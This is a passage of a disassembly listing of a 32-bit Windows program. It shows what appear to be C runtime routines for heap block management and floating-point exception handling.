lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4193CF
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4193CF
; ---------------------------------------------------------------------------
loc_4193AB: ; CODE XREF: sub_419308+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4193CF
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4193CF: ; CODE XREF: sub_419308+7Dj
; sub_419308+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41949D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_419409
push 3Fh
pop edi
loc_419409: ; CODE XREF: sub_419308+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41948B
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419462
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419455
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419455: ; CODE XREF: sub_419308+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_419487
; ---------------------------------------------------------------------------
loc_419462: ; CODE XREF: sub_419308+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419478
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419478: ; CODE XREF: sub_419308+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_419487: ; CODE XREF: sub_419308+158j
shr edx, cl
or [eax], edx
loc_41948B: ; CODE XREF: sub_419308+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_4194A0
; ---------------------------------------------------------------------------
loc_41949D: ; CODE XREF: sub_419308+E5j
mov edx, [ebp+arg_4]
loc_4194A0: ; CODE XREF: sub_419308+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4195F6
; ---------------------------------------------------------------------------
loc_4194AF: ; CODE XREF: sub_419308+52j
; sub_419308+5Cj
xor eax, eax
jmp loc_4195F9
; ---------------------------------------------------------------------------
loc_4194B6: ; CODE XREF: sub_419308+49j
jge loc_4195F6
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_4194E1
push 3Fh
pop esi
loc_4194E1: ; CODE XREF: sub_419308+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_419570
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4194FA
push 3Fh
pop esi
loc_4194FA: ; CODE XREF: sub_419308+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_419549
cmp esi, 20h
jnb short loc_419525
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_419546
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_419546
; ---------------------------------------------------------------------------
loc_419525: ; CODE XREF: sub_419308+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_419546
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_419546: ; CODE XREF: sub_419308+214j
; sub_419308+21Bj ...
mov ebx, [ebp+arg_4]
loc_419549: ; CODE XREF: sub_419308+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_419570
push 3Fh
pop esi
loc_419570: ; CODE XREF: sub_419308+1DDj
; sub_419308+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4195ED
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_4195C4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4195B7
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_4195B7: ; CODE XREF: sub_419308+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_4195E9
; ---------------------------------------------------------------------------
loc_4195C4: ; CODE XREF: sub_419308+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4195DA
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_4195DA: ; CODE XREF: sub_419308+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_4195E9: ; CODE XREF: sub_419308+2BAj
shr edx, cl
or [eax], edx
loc_4195ED: ; CODE XREF: sub_419308+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4195F6: ; CODE XREF: sub_419308+1A2j
; sub_419308:loc_4194B6j
push 1
pop eax
loc_4195F9: ; CODE XREF: sub_419308+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_419308 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_4195FE(int,int,double,int)
sub_4195FE proc near ; CODE XREF: sub_415E6C+51p
; sub_415FB3+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_438708, 0
jnz short loc_419633
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_419BB3
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419633: ; CODE XREF: sub_4195FE+Aj
push 0FFFFh
mov dword_4694B4, 21h
push [ebp+arg_C]
call sub_419E26
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_4195FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419651(int,int,double,double,int)
sub_419651 proc near ; CODE XREF: sub_415E6C:loc_415F2Fp
; sub_415FB3:loc_416076p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41999C
add esp, 0Ch
test eax, eax
jnz short loc_41968F
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4196E9
add esp, 18h
loc_41968F: ; CODE XREF: sub_419651+1Aj
push [ebp+arg_0]
call sub_419C86
cmp dword_438708, 0
pop ecx
jnz short loc_4196CD
test eax, eax
jz short loc_4196CD
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_419BB3
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_4196CD: ; CODE XREF: sub_419651+4Ej
; sub_419651+52j
push eax
call sub_419C3B
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_419E26
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196E9 proc near ; CODE XREF: sub_419651+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41971B
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41971B: ; CODE XREF: sub_4196E9+23j
test cl, 2
jz short loc_41972E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41972E: ; CODE XREF: sub_4196E9+35j
test cl, bl
jz short loc_419740
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_419740: ; CODE XREF: sub_4196E9+47j
test cl, 4
jz short loc_419753
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_419753: ; CODE XREF: sub_4196E9+5Aj
test cl, 8
jz short loc_419766
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_419766: ; CODE XREF: sub_4196E9+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_419E09
test al, bl
jz short loc_4197EF
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4197EF: ; CODE XREF: sub_4196E9+FDj
test al, 4
jz short loc_4197FA
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4197FA: ; CODE XREF: sub_4196E9+108j
test al, 8
jz short loc_419805
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_419805: ; CODE XREF: sub_4196E9+113j
test al, 10h
jz short loc_41980F
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41980F: ; CODE XREF: sub_4196E9+11Ej
test al, 20h
jz short loc_419819
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_419819: ; CODE XREF: sub_4196E9+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_419858
cmp eax, 400h
jz short loc_41984A
cmp eax, 800h
jz short loc_41983E
cmp eax, ecx
jnz short loc_41985E
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_41983E: ; CODE XREF: sub_4196E9+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_419854
; ---------------------------------------------------------------------------
loc_41984A: ; CODE XREF: sub_4196E9+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_419854: ; CODE XREF: sub_4196E9+15Fj
mov [eax], ecx
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_419858: ; CODE XREF: sub_4196E9+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41985E: ; CODE XREF: sub_4196E9+14Bj
; sub_4196E9+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_419889
cmp eax, 200h
jz short loc_41987C
cmp eax, ecx
jnz short loc_419896
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_419896
; ---------------------------------------------------------------------------
loc_41987C: ; CODE XREF: sub_4196E9+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_419894
; ---------------------------------------------------------------------------
loc_419889: ; CODE XREF: sub_4196E9+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_419894: ; CODE XREF: sub_4196E9+19Ej
mov [eax], ecx
loc_419896: ; CODE XREF: sub_4196E9+189j
; sub_4196E9+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_419E17
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_421184
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_419910
and dword ptr [esi], 0FFFFFFFEh
loc_419910: ; CODE XREF: sub_4196E9+222j
test byte ptr [eax+8], 8
jz short loc_419919
and dword ptr [esi], 0FFFFFFFBh
loc_419919: ; CODE XREF: sub_4196E9+22Bj
test byte ptr [eax+8], 4
jz short loc_419922
and dword ptr [esi], 0FFFFFFF7h
loc_419922: ; CODE XREF: sub_4196E9+234j
test byte ptr [eax+8], 2
jz short loc_41992B
and dword ptr [esi], 0FFFFFFEFh
loc_41992B: ; CODE XREF: sub_4196E9+23Dj
test [eax+8], bl
jz short loc_419933
and dword ptr [esi], 0FFFFFFDFh
loc_419933: ; CODE XREF: sub_4196E9+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_419967
dec ecx
jz short loc_41995B
dec ecx
jz short loc_419951
dec ecx
jnz short loc_419969
or byte ptr [esi+1], 0Ch
jmp short loc_419969
; ---------------------------------------------------------------------------
loc_419951: ; CODE XREF: sub_4196E9+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_419963
; ---------------------------------------------------------------------------
loc_41995B: ; CODE XREF: sub_4196E9+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_419963: ; CODE XREF: sub_4196E9+270j
mov [esi], ecx
jmp short loc_419969
; ---------------------------------------------------------------------------
loc_419967: ; CODE XREF: sub_4196E9+257j
and [esi], edx
loc_419969: ; CODE XREF: sub_4196E9+260j
; sub_4196E9+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_419989
dec ecx
jz short loc_419980
dec ecx
jnz short loc_419992
and [esi], edx
jmp short loc_419992
; ---------------------------------------------------------------------------
loc_419980: ; CODE XREF: sub_4196E9+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_419990
; ---------------------------------------------------------------------------
loc_419989: ; CODE XREF: sub_4196E9+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_419990: ; CODE XREF: sub_4196E9+29Ej
mov [esi], ecx
loc_419992: ; CODE XREF: sub_4196E9+291j
; sub_4196E9+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4196E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41999C proc near ; CODE XREF: sub_419651+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4199C7
test byte ptr [ebp+arg_8], bl
jz short loc_4199C7
push ebx
call sub_419E49
pop ecx
and edi, 0FFFFFFF7h
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_4199C7: ; CODE XREF: sub_41999C+15j
; sub_41999C+1Aj
test al, 4
jz short loc_4199E1
test byte ptr [ebp+arg_8], 4
jz short loc_4199E1
push 4
call sub_419E49
pop ecx
and edi, 0FFFFFFFBh
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_4199E1: ; CODE XREF: sub_41999C+2Dj
; sub_41999C+33j
test al, bl
jz loc_419ABB
test byte ptr [ebp+arg_8], 8
jz loc_419ABB
push 8
call sub_419E49
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_419A93
cmp ecx, 400h
jz short loc_419A6B
cmp ecx, 800h
jz short loc_419A43
cmp ecx, eax
jnz loc_419AB3
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fld dbl_438098
fnstsw ax
sahf
ja short loc_419A3B
fchs
loc_419A3B: ; CODE XREF: sub_41999C+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A43: ; CODE XREF: sub_41999C+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A5B
fld dbl_438088
jmp short loc_419A63
; ---------------------------------------------------------------------------
loc_419A5B: ; CODE XREF: sub_41999C+B5j
fld dbl_438098
fchs
loc_419A63: ; CODE XREF: sub_41999C+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A6B: ; CODE XREF: sub_41999C+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A83
fld dbl_438098
jmp short loc_419A8B
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_41999C+DDj
fld dbl_438088
fchs
loc_419A8B: ; CODE XREF: sub_41999C+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419AB1
; ---------------------------------------------------------------------------
loc_419A93: ; CODE XREF: sub_41999C+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217B0
fld dbl_438088
fnstsw ax
sahf
ja short loc_419AAB
fchs
loc_419AAB: ; CODE XREF: sub_41999C+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_419AB1: ; CODE XREF: sub_41999C+A5j
; sub_41999C+CDj ...
fstp qword ptr [ecx]
loc_419AB3: ; CODE XREF: sub_41999C+81j
and edi, 0FFFFFFFEh
jmp loc_419B91
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_41999C+47j
; sub_41999C+51j
test al, 2
jz loc_419B91
test byte ptr [ebp+arg_8], 10h
jz loc_419B91
push esi
xor esi, esi
test al, 10h
jz short loc_419AD6
mov esi, ebx
loc_419AD6: ; CODE XREF: sub_41999C+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4217B0
fnstsw ax
sahf
jz loc_419B7F
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_419D48
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_419B21
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_419B75
; ---------------------------------------------------------------------------
loc_419B21: ; CODE XREF: sub_41999C+17Aj
fld [ebp+var_C]
fcomp dbl_4217B0
fnstsw ax
sahf
jnb short loc_419B33
mov edx, ebx
jmp short loc_419B35
; ---------------------------------------------------------------------------
loc_419B33: ; CODE XREF: sub_41999C+191j
xor edx, edx
loc_419B35: ; CODE XREF: sub_41999C+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_419B69
sub eax, ecx
loc_419B4C: ; CODE XREF: sub_41999C+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_419B57
test esi, esi
jnz short loc_419B57
mov esi, ebx
loc_419B57: ; CODE XREF: sub_41999C+1B3j
; sub_41999C+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_419B63
or byte ptr [ebp+var_C+3], 80h
loc_419B63: ; CODE XREF: sub_41999C+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_419B4C
loc_419B69: ; CODE XREF: sub_41999C+1ACj
test edx, edx
jz short loc_419B75
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_419B75: ; CODE XREF: sub_41999C+183j
; sub_41999C+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_419B81
; ---------------------------------------------------------------------------
loc_419B7F: ; CODE XREF: sub_41999C+14Ej
mov esi, ebx
loc_419B81: ; CODE XREF: sub_41999C+1E1j
test esi, esi
pop esi
jz short loc_419B8E
push 10h
call sub_419E49
pop ecx
loc_419B8E: ; CODE XREF: sub_41999C+1E8j
and edi, 0FFFFFFFDh
loc_419B91: ; CODE XREF: sub_41999C+26j
; sub_41999C+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_419BA8
test byte ptr [ebp+arg_8], 20h
jz short loc_419BA8
push 20h
call sub_419E49
pop ecx
and edi, 0FFFFFFEFh
loc_419BA8: ; CODE XREF: sub_41999C+1F9j
; sub_41999C+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41999C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int)
sub_419BB3 proc near ; CODE XREF: sub_4195FE+2Bp
; sub_419651+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_419C61
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_419C1E
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_419E26
lea eax, [ebp+var_20]
push eax
call sub_41D813
add esp, 0Ch
test eax, eax
jnz short loc_419C18
push esi
call sub_419C3B
pop ecx
loc_419C18: ; CODE XREF: sub_419BB3+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_419C1E: ; CODE XREF: sub_419BB3+14j
push 0FFFFh
push [ebp+arg_20]
call sub_419E26
push [ebp+arg_0]
call sub_419C3B
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_419BB3 endp
; =============== S U B R O U T I N E =======================================
sub_419C3B proc near ; CODE XREF: sub_419651+7Dp
; sub_419BB3+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_419C56
jle short locret_419C60
cmp eax, 3
jg short locret_419C60
mov dword_4694B4, 22h
retn
; ---------------------------------------------------------------------------
loc_419C56: ; CODE XREF: sub_419C3B+7j
mov dword_4694B4, 21h
locret_419C60: ; CODE XREF: sub_419C3B+9j
; sub_419C3B+Ej
retn
sub_419C3B endp
; =============== S U B R O U T I N E =======================================
sub_419C61 proc near ; CODE XREF: sub_419BB3+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_437FB0
loc_419C68: ; CODE XREF: sub_419C61+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_419C7E
add eax, 8
inc ecx
cmp eax, offset dbl_438088
jl short loc_419C68
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_419C7E: ; CODE XREF: sub_419C61+Dj
mov eax, off_437FB4[ecx*8]
retn
sub_419C61 endp
; =============== S U B R O U T I N E =======================================
sub_419C86 proc near ; CODE XREF: sub_419651+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_419C92
push 5
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419C92: ; CODE XREF: sub_419C86+6j
test al, 8
jz short loc_419C9A
push 1
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419C9A: ; CODE XREF: sub_419C86+Ej
test al, 4
jz short loc_419CA2
push 2
jmp short loc_419CA8
; ---------------------------------------------------------------------------
loc_419CA2: ; CODE XREF: sub_419C86+16j
test al, 1
jz short loc_419CAA
push 3
loc_419CA8: ; CODE XREF: sub_419C86+Aj
; sub_419C86+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_419CAA: ; CODE XREF: sub_419C86+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_419C86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419CB3(double)
sub_419CB3 proc near ; CODE XREF: sub_415E6C:loc_415EF2p
; sub_415FB3:loc_416039p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_419CB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419CC5(double,int)
sub_419CC5 proc near ; CODE XREF: sub_419D48+82p
; sub_419D48+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_419CC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CEE proc near ; CODE XREF: sub_415E6C+31p
; sub_415FB3+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_419D05
cmp [ebp+arg_0], edx
jnz short loc_419D17
push 1
